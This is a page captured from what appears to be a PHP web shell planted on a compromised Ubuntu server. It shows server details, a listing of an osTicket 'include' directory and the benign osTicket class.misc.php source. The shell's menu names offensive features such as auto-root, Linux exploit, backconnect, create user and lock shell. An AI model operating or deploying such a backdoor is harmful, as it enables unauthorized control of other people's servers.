Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
osticket /
upload /
include /
[ HOME SHELL ]
Name
Size
Permission
Action
cli
[ DIR ]
drwxr-xr-x
client
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
fpdf
[ DIR ]
drwxr-xr-x
i18n
[ DIR ]
drwxr-xr-x
mpdf
[ DIR ]
drwxr-xr-x
pear
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
staff
[ DIR ]
drwxr-xr-x
upgrader
[ DIR ]
drwxr-xr-x
.MANIFEST
163.74
KB
-rw-r--r--
.htaccess
14
B
-rw-r--r--
JSON.php
33.13
KB
-rw-r--r--
PasswordHash.php
6.92
KB
-rw-r--r--
Spyc.php
31.73
KB
-rw-r--r--
UniversalClassLoader.php
8.61
KB
-rw-r--r--
ajax.admin.php
7.21
KB
-rw-r--r--
ajax.config.php
4.55
KB
-rw-r--r--
ajax.content.php
9.47
KB
-rw-r--r--
ajax.draft.php
12.72
KB
-rw-r--r--
ajax.export.php
1006
B
-rw-r--r--
ajax.filter.php
874
B
-rw-r--r--
ajax.forms.php
13.3
KB
-rw-r--r--
ajax.i18n.php
4.91
KB
-rw-r--r--
ajax.kbase.php
2.93
KB
-rw-r--r--
ajax.note.php
2.05
KB
-rw-r--r--
ajax.orgs.php
11.7
KB
-rw-r--r--
ajax.schedule.php
4.29
KB
-rw-r--r--
ajax.search.php
12.35
KB
-rw-r--r--
ajax.sequence.php
3.2
KB
-rw-r--r--
ajax.staff.php
7.84
KB
-rw-r--r--
ajax.tasks.php
30.25
KB
-rw-r--r--
ajax.thread.php
8.89
KB
-rw-r--r--
ajax.tickets.php
74
KB
-rw-r--r--
ajax.tips.php
1.66
KB
-rw-r--r--
ajax.upgrader.php
2.24
KB
-rw-r--r--
ajax.users.php
17.8
KB
-rw-r--r--
api.cron.php
909
B
-rw-r--r--
api.tickets.php
8.26
KB
-rw-r--r--
class.ajax.php
1.42
KB
-rw-r--r--
class.api.php
13.14
KB
-rw-r--r--
class.app.php
1.47
KB
-rw-r--r--
class.attachment.php
6.87
KB
-rw-r--r--
class.auth.php
43.91
KB
-rw-r--r--
class.avatar.php
6.43
KB
-rw-r--r--
class.banlist.php
2.54
KB
-rw-r--r--
class.base32.php
4.06
KB
-rw-r--r--
class.businesshours.php
6.72
KB
-rw-r--r--
class.canned.php
8.58
KB
-rw-r--r--
class.captcha.php
1.73
KB
-rw-r--r--
class.category.php
11.04
KB
-rw-r--r--
class.charset.php
3.4
KB
-rw-r--r--
class.cli.php
9.48
KB
-rw-r--r--
class.client.php
15.02
KB
-rw-r--r--
class.collaborator.php
5.44
KB
-rw-r--r--
class.company.php
2.65
KB
-rw-r--r--
class.config.php
58.51
KB
-rw-r--r--
class.cron.php
3.54
KB
-rw-r--r--
class.crypto.php
18.96
KB
-rw-r--r--
class.csrf.php
2.36
KB
-rw-r--r--
class.dept.php
32.39
KB
-rw-r--r--
class.dispatcher.php
6.72
KB
-rw-r--r--
class.draft.php
6.25
KB
-rw-r--r--
class.dynamic_forms.php
62.12
KB
-rw-r--r--
class.email.php
18.09
KB
-rw-r--r--
class.error.php
1.69
KB
-rw-r--r--
class.export.php
31.8
KB
-rw-r--r--
class.faq.php
15.05
KB
-rw-r--r--
class.file.php
32.41
KB
-rw-r--r--
class.filter.php
27.75
KB
-rw-r--r--
class.filter_action.php
20.27
KB
-rw-r--r--
class.format.php
40.68
KB
-rw-r--r--
class.forms.php
183.13
KB
-rw-r--r--
class.http.php
5.52
KB
-rw-r--r--
class.i18n.php
24.2
KB
-rw-r--r--
class.import.php
6.44
KB
-rw-r--r--
class.json.php
2.69
KB
-rw-r--r--
class.knowledgebase.php
5.8
KB
-rw-r--r--
class.list.php
41.85
KB
-rw-r--r--
class.lock.php
4.05
KB
-rw-r--r--
class.log.php
1.54
KB
-rw-r--r--
class.mailer.php
24.05
KB
-rw-r--r--
class.mailfetch.php
37.24
KB
-rw-r--r--
class.mailparse.php
26.7
KB
-rw-r--r--
class.message.php
6.4
KB
-rw-r--r--
class.migrater.php
5.2
KB
-rw-r--r--
class.misc.php
8.15
KB
-rw-r--r--
class.model.php
2.3
KB
-rw-r--r--
class.nav.php
14.14
KB
-rw-r--r--
class.note.php
2.39
KB
-rw-r--r--
class.organization.php
22.44
KB
-rw-r--r--
class.orm.php
119.54
KB
-rw-r--r--
class.osticket.php
18.8
KB
-rw-r--r--
class.ostsession.php
9.82
KB
-rw-r--r--
class.page.php
10.65
KB
-rw-r--r--
class.pagenate.php
5.13
KB
-rw-r--r--
class.passwd.php
1.19
KB
-rw-r--r--
class.pdf.php
3.62
KB
-rw-r--r--
class.plugin.php
23.89
KB
-rw-r--r--
class.priority.php
1.81
KB
-rw-r--r--
class.queue.php
102.01
KB
-rw-r--r--
class.report.php
11.47
KB
-rw-r--r--
class.role.php
11.12
KB
-rw-r--r--
class.schedule.php
46.03
KB
-rw-r--r--
class.search.php
56.26
KB
-rw-r--r--
class.sequence.php
7.27
KB
-rw-r--r--
class.setup.php
3.55
KB
-rw-r--r--
class.signal.php
4.16
KB
-rw-r--r--
class.sla.php
8.64
KB
-rw-r--r--
class.staff.php
52.41
KB
-rw-r--r--
class.task.php
49.97
KB
-rw-r--r--
class.team.php
12.01
KB
-rw-r--r--
class.template.php
23.33
KB
-rw-r--r--
class.thread.php
107.11
KB
-rw-r--r--
class.thread_actions.php
17.08
KB
-rw-r--r--
class.ticket.php
162.72
KB
-rw-r--r--
class.timezone.php
21.94
KB
-rw-r--r--
class.topic.php
19.07
KB
-rw-r--r--
class.translation.php
34.38
KB
-rw-r--r--
class.upgrader.php
13.54
KB
-rw-r--r--
class.user.php
42.45
KB
-rw-r--r--
class.usersession.php
4.99
KB
-rw-r--r--
class.util.php
8.01
KB
-rw-r--r--
class.validator.php
12.05
KB
-rw-r--r--
class.variable.php
11.93
KB
-rw-r--r--
class.xml.php
3.23
KB
-rw-r--r--
class.yaml.php
1.16
KB
-rw-r--r--
htmLawed.php
53.53
KB
-rw-r--r--
html2text.php
33.63
KB
-rw-r--r--
index.php
37
B
-rw-r--r--
mysqli.php
8.55
KB
-rw-r--r--
ost-config.php
5.61
KB
-rw-r--r--
ost-sampleconfig.php
5.62
KB
-rw-r--r--
tnef_decoder.php
19.82
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class.misc.php
<?php /********************************************************************* class.misc.php Misc collection of useful generic helper functions. Peter Rotich <peter@osticket.com> Copyright (c) 2006-2013 osTicket http://www.osticket.com Released under the GNU General Public License WITHOUT ANY WARRANTY. See LICENSE.TXT for details. vim: expandtab sw=4 ts=4 sts=4: **********************************************************************/ class Misc { function randCode($len=8, $chars=false) { $chars = $chars ?: 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890_='; // Determine the number of bits we need $char_count = strlen($chars); $bits_per_char = ceil(log($char_count, 2)); $bytes = ceil(4 * $len / floor(32 / $bits_per_char)); // Pad to 4 byte boundary $bytes += (4 - ($bytes % 4)) % 4; // Fetch some random data blocks $data = Crypto::random($bytes); $mask = (1 << $bits_per_char) - 1; $loops = (int) (32 / $bits_per_char); $output = ''; $ints = unpack('V*', $data); foreach ($ints as $int) { for ($i = $loops; $i > 0; $i--) { $output .= $chars[($int & $mask) % $char_count]; $int >>= $bits_per_char; } } return substr($output, 0, $len); } function __rand_seed($value=0) { // Form a 32-bit figure for the random seed with the lower 16-bits // the microseconds of the current time, and the upper 16-bits from // received value $seed = ((int) $value % 65535) << 16; $seed += (int) ((double) microtime() * 1000000) % 65535; mt_srand($seed); } /* Helper used to generate ticket IDs */ function randNumber($len=6) { $number = ''; for ($i=0; $i<$len; $i++) { $min = ($i == 0) ? 1 : 0; $number .= mt_rand($min, 9); } return (int) $number; } /* misc date helpers...this will go away once we move to php 5 */ function db2gmtime($var){ static $dbtz; global $cfg; if (!$var || !$cfg) return; if (!isset($dbtz)) $dbtz = new DateTimeZone($cfg->getDbTimezone()); $dbtime = is_int($var) ? $var : strtotime($var); $D = DateTime::createFromFormat('U', $dbtime); if (!$D) // This happens e.g. from negative timestamps return $var; return $dbtime - $dbtz->getOffset($D); } // Take user's time and return GMT time. function user2gmtime($timestamp=null, $user=null) { global $cfg; $tz = new DateTimeZone($cfg->getTimezone($user)); if ($timestamp && is_int($timestamp)) { if (!($date = DateTime::createFromFormat('U', $timestamp))) return $timestamp; return $timestamp - $tz->getOffset($date); } $date = Format::parseDateTime($timestamp ?: 'now'); if ($tz) $date->setTimezone($tz); return $date ? $date->getTimestamp() : $timestamp; } //Take user time or gmtime and return db (mysql) time. function dbtime($var=null){ static $dbtz; global $cfg; if (is_null($var) || !$var) { // Default timezone is set to UTC $time = time(); } else { // User time to UTC $time = self::user2gmtime($var); } if (!isset($dbtz)) { $dbtz = new DateTimeZone($cfg->getDbTimezone()); } // UTC to db time $D = DateTime::createFromFormat('U', $time); return $time + $dbtz->getOffset($D); } /*Helper get GM time based on timezone offset*/ function gmtime($time=false, $user=false) { global $cfg; $tz = new DateTimeZone($user ? $cfg->getDbTimezone($user) : 'UTC'); if ($time && is_numeric($time)) $time = DateTime::createFromFormat('U', $time); elseif (!($time = new DateTime($time ?: 'now'))) { // Old standard return time() - date('Z'); } return $time->getTimestamp() - $tz->getOffset($time); } /* Needed because of PHP 4 support */ function micro_time() { list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec); } // Date range for the period in a given time function date_range($period, $time=false, $tz=null) { $time = $time ?: self::gmtime(); if (!($dt = Format::parseDateTime($time))) return null; // Force UTC if timezone is not provided $tz = $tz ?: new DateTimeZone('UTC'); $dt->setTimezone($tz); // Make dt Immutable. $dt = DateTimeImmutable::createFromMutable($dt); switch ($period) { case 'td': case 'today': $start = $end = $dt->modify('today'); break; case 'yd': case 'yesterday': $start = $end = $dt->modify('yesterday'); break; case 'tw': case 'this-week': $N = $dt->format('N'); $start = $dt->modify($N == 1 ? 'today' : 'last monday'); $end = $start->modify('next sunday'); break; case 'tm': case 'this-month'; $start = $dt->modify('first day of this month'); $end = $dt->modify('last day of this month'); break; case 'tq': case 'this-quarter': $offset = ($dt->format('m') - 1) % 3; $start = $dt->modify(" - $offset month") ->modify('first day of this month'); $end = $start->modify('+ 3 month')->modify('- 1 day'); break; case 'ty': case 'this-year': $start = $dt->modify('january')->modify('first day of this month'); $end = $dt->modify('december')->modify('last day of this month'); break; case 'lw': case 'last-week': //TODO: address edge cases $start = $dt->modify('- 1 week')->modify('last monday'); $end = $start->modify('next sunday'); break; case 'lm': case 'last-month'; $start = $dt->modify('- 1 month')->modify('first day of this month'); $end = $start->modify('last day of this month'); break; case 'lq': case 'last-quarter': $offset = (($dt->format('m') - 1) % 3)+3; $start = $dt->modify(" - $offset month") ->modify('first day of this month'); $end = $start->modify('+ 3 month')->modify('- 1 day'); break; case 'ly': case 'last-year': $start = $dt->modify('- 1 year') ->modify('january') ->modify('first day of this month'); $end = $start->modify('december')->modify('last day of this month'); break; default: return null; } if ($start) $start = $start->setTime(00, 00, 00); if ($end) $end = $end->setTime(23, 59, 59); return (object) array('start' => $start, 'end' => $end); } //Current page function currentURL() { $str = 'http'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') { $str .='s'; } $str .= '://'; if (!isset($_SERVER['REQUEST_URI'])) { //IIS??? $_SERVER['REQUEST_URI'] = substr($_SERVER['PHP_SELF'],1 ); if (isset($_SERVER['QUERY_STRING'])) { $_SERVER['REQUEST_URI'].='?'.$_SERVER['QUERY_STRING']; } } if ($_SERVER['SERVER_PORT']!=80) { $str .= $_SERVER['SERVER_NAME'].':'.$_SERVER['SERVER_PORT'].$_SERVER['REQUEST_URI']; } else { $str .= $_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']; } return $str; } function realpath($path) { $rp = realpath($path); return $rp ? $rp : $path; } } ?>
Close